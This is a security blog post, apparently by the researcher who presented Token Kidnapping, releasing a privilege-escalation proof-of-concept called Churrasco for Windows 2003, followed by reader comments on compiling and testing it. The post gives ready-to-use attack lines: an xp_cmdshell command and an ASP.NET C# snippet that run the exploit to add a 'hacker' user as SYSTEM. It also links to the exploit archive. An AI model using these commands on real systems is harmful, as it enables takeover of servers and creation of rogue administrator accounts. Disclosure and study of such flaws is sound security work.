It has been a long time since Token Kidnapping presentation (http://www.argeniss.com/research/TokenKidnapping.pdf) was published so I decided to release a PoC exploit for Win2k3 that alows to execute code under SYSTEM account.
Basically if you can run code under any service in Win2k3 then you can own Windows, this is because Windows services accounts can impersonate.
Other process (not services) that can impersonate are IIS 6 worker processes so if you can run code from an ASP .NET or classic ASP web application then you can own Windows too. If you provide shared hosting services then I would recomend to not allow users to run this kind of code from ASP.
-SQL Server is a nice target for the exploit if you are a DBA and want to own Windows:
exec xp_cmdshell 'churrasco "net user /add hacker"'
-Exploiting IIS 6 with ASP .NET :
...
System.Diagnostics.Process myP = new System.Diagnostics.Process();
myP.StartInfo.RedirectStandardOutput = true;
myP.StartInfo.FileName=Server.MapPath("churrasco.exe");
myP.StartInfo.UseShellExecute = false;
myP.StartInfo.Arguments= " \"net user /add hacker\" ";
myP.Start();
string output = myP.StandardOutput.ReadToEnd();
Response.Write(output);
...
You can find the PoC exploit here http://www.argeniss.com/research/Churrasco.zip
Enjoy.
12 comments:
Good, now to check it.
Nice one.
Btw, just a small note... It's "Information security" and not
Information secuirty.
Thanks Cl@rity_533k4, typo fixed now.
Hi Cesar
So you`ve finally decided to publish the PoC publicly .I've not seen a fix for this from Microsoft since first disclose of such attacks , yours being the most noisy one. All I see are temporary workarounds or advices on how to do what. The problem about such critical flaws is that , not all sys admins follow sec lists nor check latest published KB articles by Microsoft,so after so long time I`ve not yet seen any major change in configurations which means tens of thousands of vulnerable systems.
Any news from MS side about this case ?
Hi Hamid
Hi haven't had news from MS about these issues, I don't know when they are going to fix them.
I don't think this is a critical flaw. Basically it's an easy way of elevating privileges when you have impersonation rights but without this exploit it's still possible to elevate privileges in certain circunstances just using regular functionality, ie: an administrator authenticates to a service or to IIS and then it's impersonated.
Hi,
I've tried to compile the churrasco.exe but I've got the following error:
1>Linking...
1>Churrasco.obj : error LNK2019: unresolved external symbol _DtcGetTransactionManagerExA referenced in function "int __cdecl InvokeMSDTC(void)" (?InvokeMSDTC@@YAHXZ)
1>Release/Churrasco.exe : fatal error LNK1120: 1 unresolved externals
I'm using VC++ express 2008 from MS on an XP machine.
Any advise?
3l51k4n0, I tried with VC++ express 2008 and it works fine. Maybe you are getting some problems with conversion since it's a Visual Studio 2003 project but I converted it with defaults and it works.
Having trouble producing the expected output; I started with an out-of-the-box Win2K3 Standard Edition SP0 install for my initial conditions. Launched from a LOCAL SERVICE (S-1-5-19) service shell; here's group and privileges of the parent process token:
Token SIDs: (10)
S-1-5-19 = 0x00000000
S-1-5-19 = 0x00000007 = SE_GROUP_MANDATORY+SE_GROUP_ENABLED_BY_DEFAULT+SE_GROUP_ENABLED
S-1-1-0 = 0x00000007 = SE_GROUP_MANDATORY+SE_GROUP_ENABLED_BY_DEFAULT+SE_GROUP_ENABLED
S-1-5-32-545 = 0x00000007 = SE_GROUP_MANDATORY+SE_GROUP_ENABLED_BY_DEFAULT+SE_GROUP_ENABLED
S-1-5-6 = 0x00000007 = SE_GROUP_MANDATORY+SE_GROUP_ENABLED_BY_DEFAULT+SE_GROUP_ENABLED
S-1-5-11 = 0x00000007 = SE_GROUP_MANDATORY+SE_GROUP_ENABLED_BY_DEFAULT+SE_GROUP_ENABLED
S-1-5-15 = 0x00000007 = SE_GROUP_MANDATORY+SE_GROUP_ENABLED_BY_DEFAULT+SE_GROUP_ENABLED
S-1-2-0 = 0x00000007 = SE_GROUP_MANDATORY+SE_GROUP_ENABLED_BY_DEFAULT+SE_GROUP_ENABLED
S-1-5-5-0-1368877 = 0xc0000007 = SE_GROUP_MANDATORY+SE_GROUP_ENABLED_BY_DEFAULT+SE_GROUP_ENABLED+SE_GROUP_LOGON_ID
S-1-5-32-545 = 0x00000007 = SE_GROUP_MANDATORY+SE_GROUP_ENABLED_BY_DEFAULT+SE_GROUP_ENABLED
Token privileges: (6)
SeAuditPrivilege = 0x00000000
SeIncreaseQuotaPrivilege = 0x00000000 SeAssignPrimaryTokenPrivilege = 0x00000000
SeChangeNotifyPrivilege = 0x00000003 = SE_PRIVILEGE_ENABLED_BY_DEFAULT+SE_PRIVILEGE_ENABLED
SeImpersonatePrivilege = 0x00000003 = SE_PRIVILEGE_ENABLED_BY_DEFAULT+SE_PRIVILEGE_ENABLED
SeCreateGlobalPrivilege = 0x00000003 = SE_PRIVILEGE_ENABLED_BY_DEFAULT+SE_PRIVILEGE_ENABLED
Didn't capture the stdout pipe, but next step is to modify output to see what's happening.
FWIW, the MSDTC tokens I'm seeing in the caller's process space are Identity level.
What am I screwing up?
Thanks.
Philip, the privileges on the process are fine so you should always get an impersonation token from MSDTC. Try running the process under NETWORK SERVICE account or other account with impersonation rights to see if that works for you but it should work with any account with impersonation rights.
I'm sorry but I can't answer questions about compilation problems since I don't have enough time to go and try to reproduce your problems, to find a possible solution, etc. Please compile with Visual Studio 2003 to avoid problems.
Thanks.
Thanks for the feedback, Cesar.
While waiting for your reply, I ended up doing a lot of research on this, which was very informative.
I found what I was screwing up: in the original Windows 2003, as with the original Windows XP release (and XP SP1), the RPCSS service runs as SYSTEM (S-1-5-18), not NETWORK SERVICE (S-1-5-19). So I was testing on the wrong versions of Windows.
Once I tested on Windows 2003 SP1, I was able to reproduce your findings. It took me a little while to realize what I did wrong, but it was fun and educational to test this out. I also was able to verify the same MSDTC behavior on XP Service Pack 2 using my own code.
http://www.microsoft.com/technet/security/bulletin/MS09-012.mspx
Post a Comment